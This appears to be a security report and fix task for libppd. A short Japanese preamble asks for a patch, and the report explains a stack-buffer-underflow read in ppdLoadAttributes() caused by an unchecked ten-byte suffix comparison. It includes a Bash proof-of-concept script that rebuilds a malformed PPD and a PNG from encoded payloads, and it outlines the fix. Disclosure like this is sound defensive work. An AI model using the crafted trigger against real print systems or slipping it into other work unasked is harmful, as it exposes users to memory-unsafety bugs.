libppd: a short cupsFilter value reads before a stack buffer

ppd/ppd-ipp.c の ppdLoadAttributes() 付近、528 行目あたりから始め、issue で説明されているサフィックス比較を確認します。AddressSanitizer を使ってビルドし、poc/printer.ppd に対して ./reproduce.sh を実行します。短い cupsFilter 値によって範囲外読み取りが発生しなくなり、既存のフィルターパイプラインも引き続き完了すれば完了です。

Summary

ppdLoadAttributes() checks whether each configured filter name ends in
texttotext by subtracting ten from the string length without first requiring
at least ten bytes. A valid 14-line PPD containing
*cupsFilter: "a 0 x" causes a stack-buffer-underflow read.

Validated libppd source:

• tested build: 522af8dd135f4dde66b1aac8b9d067808bbe122d
• current upstream HEAD: fc41539f761286396a7df8aeeda762070192e37e

ppd/ppd-ipp.c is byte-identical at both revisions.

Reproduction

Final upstream recheck on 2026-08-02: OpenPrinting/libppd fc41539f761286396a7df8aeeda762070192e37e.

poc/printer.ppd, SHA-256
5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4,
is accepted by ppdOpenFile(). Run ./reproduce.sh; the 85-byte PNG only
provides a normal document to the standalone filter pipeline.

The following commented Bash script constructs the exact PoC and control
inputs. Save it as make_poc.sh, then run bash make_poc.sh poc.

#!/usr/bin/env bash
set -euo pipefail

# PoC: libppd: a short cupsFilter value reads before a stack buffer
# Finding ID: libppd-short-cupsfilter-stack-underflow
# Trigger: ppdLoadAttributes() checks whether each configured filter name ends
# in texttotext by subtracting ten from the string length without first
# requiring at least ten bytes. A valid 14-line PPD containing *cupsFilter: "a
# 0 x" causes a stack-buffer-underflow read.
#
# Binary PDFs, Raster files, images, and PPDs are stored as gzip-compressed
# base64 so embedded NUL bytes and exact parser offsets survive copy/paste.
# Every reconstructed file is checked before the vulnerable program is run.

OUTPUT_DIR="${1:-poc}"
mkdir -p "$OUTPUT_DIR"

for tool in base64 gzip sha256sum; do
  command -v "$tool" >/dev/null || {
    printf 'missing required tool: %s\n' "$tool" >&2
    exit 1
  }
done

write_file() {
  local name="$1"
  local expected_sha256="$2"
  local path="$OUTPUT_DIR/$name"
  local actual_sha256

  mkdir -p "$(dirname "$path")"
  base64 --decode | gzip --decompress > "$path"
  actual_sha256="$(sha256sum "$path")"
  actual_sha256="${actual_sha256%% *}"
  if [[ "$actual_sha256" != "$expected_sha256" ]]; then
    printf 'SHA-256 mismatch for %s\n' "$path" >&2
    return 1
  fi
  printf '%s  %s bytes  sha256=%s\n' \
    "$path" "$(wc -c < "$path")" "$actual_sha256"
}

# Malformed or boundary document consumed by the real filter/API.
# Output: document.png (85 bytes)
write_file document.png 4f5f710fca2ff97193c3584c9ec5ab6cb1a381a2256c1e649b2eb7d557b47afe <<'POC_PAYLOAD_0'
H4sIAAAAAAACA+sM8HPn5ZLiYmBg4PX0cAkC0pxAzMQBJBjW267kB1Iyni6OIRVzkhMErhf3ar6L
2tHsGHDYTmd76rdlkxksfrILORQWSYPUe7r6uaxzSmgCAEcHHUVVAAAA
POC_PAYLOAD_0

# PPD configuration needed to select the vulnerable filter state.
# Output: printer.ppd (370 bytes)
write_file printer.ppd 5787338b61768a8acbd6b765355123b9e8ef6b3dafde23ffe19b8c2873c8d5d4 <<'POC_PAYLOAD_1'
H4sIAAAAAAACA3WQzarCMBCF932K0JUWLKm6cideBcGfQtGFuzGNMdx2UtIELj79nagYF7r9zpkz
Mycry5/RvDZnOWPpNJ+kSbYytgV3lLbXBiPVjYysyDmxDaDyoCJfomp0f43KEoWpNaoZW1f7DTiN
RZJtAf0FhPNWWsradxJLq5FERaFbU8tmB204qJctEBfs4m831gWTtOSprsa6nRa/n3ykf5PeIspF
+OhpWh1Op5yaCNya2gtHcPBxdBg8VWxiMOEFH7JQh/Bd/xLGOX8QWuPufwLj7C9N/gHzE5NAcgEA
AA==
POC_PAYLOAD_1

Result

The ASan build aborts on a read before local buf[1024] in
ppdLoadAttributes() at ppd-ipp.c:528. The complete route is:

imagetops -> ppdFilterCUPSWrapper -> ppdFilterLoadPPD
 -> ppdLoadAttributes -> strcmp

The uninstrumented filter exits 0 and writes a 1,303-byte PostScript result.
The read is bounded to the ten-byte suffix comparison. No stack value is
returned to the caller, and no dependent write has been demonstrated. The
current security effect is therefore sanitizer-visible memory unsafety in
malformed queue configuration, with low upgrade potential.

Cause and expected behavior

The code evaluates
strcmp(buf + strlen(buf) - 10, "texttotext") for every filter string.
Lengths below ten move the comparison pointer before buf.

The suffix check should first require strlen(buf) >= 10; filter values that
do not meet the expected grammar should be rejected or ignored.